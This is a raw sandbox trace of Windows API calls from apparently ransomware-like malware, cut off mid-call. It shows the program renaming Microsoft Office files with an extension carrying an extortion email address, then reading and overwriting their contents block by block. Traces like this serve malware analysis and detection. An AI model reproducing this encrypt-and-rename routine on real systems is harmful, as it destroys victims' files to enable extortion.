dwReserved0=0x330078, dwReserved1=0x6d, cFileName="SKYPEFB_ONLINEG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK26BC~1.FIR")) returned 0x6d5280 [0182.682] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0182.682] GetProcessHeap () returned 0x630000 [0182.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4b38 [0182.683] GetProcessHeap () returned 0x630000 [0182.683] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4fb8 [0182.683] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.683] ReadFile (in: hFile=0x6dc, lpBuffer=0x6a4b38, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b38*, lpNumberOfBytesRead=0x3a7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.684] GetProcessHeap () returned 0x630000 [0182.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0182.684] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.684] WriteFile (in: hFile=0x6dc, lpBuffer=0x6a4fb8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4fb8*, lpNumberOfBytesWritten=0x3a7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.684] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.684] WriteFile (in: hFile=0x6dc, lpBuffer=0x6a5017*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5017*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.685] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.685] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.685] CloseHandle (hObject=0x6dc) returned 1 [0182.685] GetProcessHeap () returned 0x630000 [0182.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4fb8 | out: hHeap=0x630000) returned 1 [0182.685] GetProcessHeap () returned 0x630000 [0182.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4b38 | out: hHeap=0x630000) returned 1 [0182.685] GetProcessHeap () returned 0x630000 [0182.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0182.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32d63a58, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x3a7fd20, dwReserved1=0x6a4b38, cFileName="SKYPEFB_ONLINEG_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK26BC~1.FIR")) returned 0x6d54c0 [0182.685] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0182.685] Sleep (dwMilliseconds=0x1) [0182.697] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK", len=0x4e | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK") returned 1 [0182.697] GetProcessHeap () returned 0x630000 [0182.697] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a3c) returned 0x707d3d0 [0182.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.698] CloseHandle (hObject=0x698) returned 1 [0182.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="SKYPEFB_ONLINEG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKAB3A~1.FIR")) returned 0x6d5000 [0182.699] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0182.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.699] GetProcessHeap () returned 0x630000 [0182.699] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e08 [0182.699] GetProcessHeap () returned 0x630000 [0182.699] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4f28 [0182.699] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.699] ReadFile (in: hFile=0x698, lpBuffer=0x6a4e08, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e08*, lpNumberOfBytesRead=0x3a7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.701] GetProcessHeap () returned 0x630000 [0182.701] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0182.701] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.701] WriteFile (in: hFile=0x698, lpBuffer=0x6a4f28*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4f28*, lpNumberOfBytesWritten=0x3a7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0182.701] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.701] WriteFile (in: hFile=0x698, lpBuffer=0x6a4f87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4f87*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.701] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.701] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.701] CloseHandle (hObject=0x698) returned 1 [0182.701] GetProcessHeap () returned 0x630000 [0182.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4f28 | out: hHeap=0x630000) returned 1 [0182.701] GetProcessHeap () returned 0x630000 [0182.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e08 | out: hHeap=0x630000) returned 1 [0182.702] GetProcessHeap () returned 0x630000 [0182.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0182.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32d8a6f7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x3a7fd20, dwReserved1=0x6a4e08, cFileName="SKYPEFB_ONLINEG_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKAB3A~1.FIR")) returned 0x6d5340 [0182.702] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0182.702] Sleep (dwMilliseconds=0x1) [0182.708] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT", len=0x4c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT") returned 1 [0182.708] GetProcessHeap () returned 0x630000 [0182.709] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a38) returned 0x707d3d0 [0182.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.709] CloseHandle (hObject=0x698) returned 1 [0182.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x6d, dwReserved1=0x0, cFileName="SKYPEFB_ONLINEG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKAF1A~1.FIR")) returned 0x6d5440 [0182.710] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0182.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.710] GetProcessHeap () returned 0x630000 [0182.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa8e38 [0182.711] GetProcessHeap () returned 0x630000 [0182.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa9018 [0182.711] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.711] ReadFile (in: hFile=0x698, lpBuffer=0x6fa8e38, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8e38*, lpNumberOfBytesRead=0x3a7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0182.712] GetProcessHeap () returned 0x630000 [0182.712] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0182.712] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.712] WriteFile (in: hFile=0x698, lpBuffer=0x6fa9018*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9018*, lpNumberOfBytesWritten=0x3a7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0182.712] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.713] WriteFile (in: hFile=0x698, lpBuffer=0x6fa90d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa90d7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.713] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.713] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.713] CloseHandle (hObject=0x698) returned 1 [0182.713] GetProcessHeap () returned 0x630000 [0182.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa9018 | out: hHeap=0x630000) returned 1 [0182.713] GetProcessHeap () returned 0x630000 [0182.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8e38 | out: hHeap=0x630000) returned 1 [0182.713] GetProcessHeap () returned 0x630000 [0182.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0182.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32db007a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x3a7fd20, dwReserved1=0x6fa8e38, cFileName="SKYPEFB_ONLINEG_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKAF1A~1.FIR")) returned 0x6d5280 [0182.713] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.713] Sleep (dwMilliseconds=0x1) [0184.744] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT", len=0x44 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT") returned 1 [0184.744] GetProcessHeap () returned 0x630000 [0184.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a20) returned 0x707d3d0 [0184.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0184.744] CloseHandle (hObject=0x688) returned 1 [0184.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK6345~1.FIR")) returned 0x6d5280 [0184.746] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0184.746] GetProcessHeap () returned 0x630000 [0184.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa92e8 [0184.746] GetProcessHeap () returned 0x630000 [0184.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa93d8 [0184.746] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.747] ReadFile (in: hFile=0x688, lpBuffer=0x6fa92e8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa92e8*, lpNumberOfBytesRead=0x3a7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0184.748] GetProcessHeap () returned 0x630000 [0184.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0184.748] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.748] WriteFile (in: hFile=0x688, lpBuffer=0x6fa93d8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa93d8*, lpNumberOfBytesWritten=0x3a7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0184.748] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.748] WriteFile (in: hFile=0x688, lpBuffer=0x6fa9497*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9497*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.749] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.749] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.749] CloseHandle (hObject=0x688) returned 1 [0184.749] GetProcessHeap () returned 0x630000 [0184.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa93d8 | out: hHeap=0x630000) returned 1 [0184.749] GetProcessHeap () returned 0x630000 [0184.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa92e8 | out: hHeap=0x630000) returned 1 [0184.749] GetProcessHeap () returned 0x630000 [0184.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0184.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3411c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x3a7fd20, dwReserved1=0x6fa92e8, cFileName="SKYPEFB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK6345~1.FIR")) returned 0x6d53c0 [0184.749] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0184.749] Sleep (dwMilliseconds=0x1) [0186.855] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx", len=0x4c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx") returned 1 [0186.855] GetProcessHeap () returned 0x630000 [0186.855] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29cc) returned 0x707d3d0 [0186.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0186.856] CloseHandle (hObject=0x68c) returned 1 [0186.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 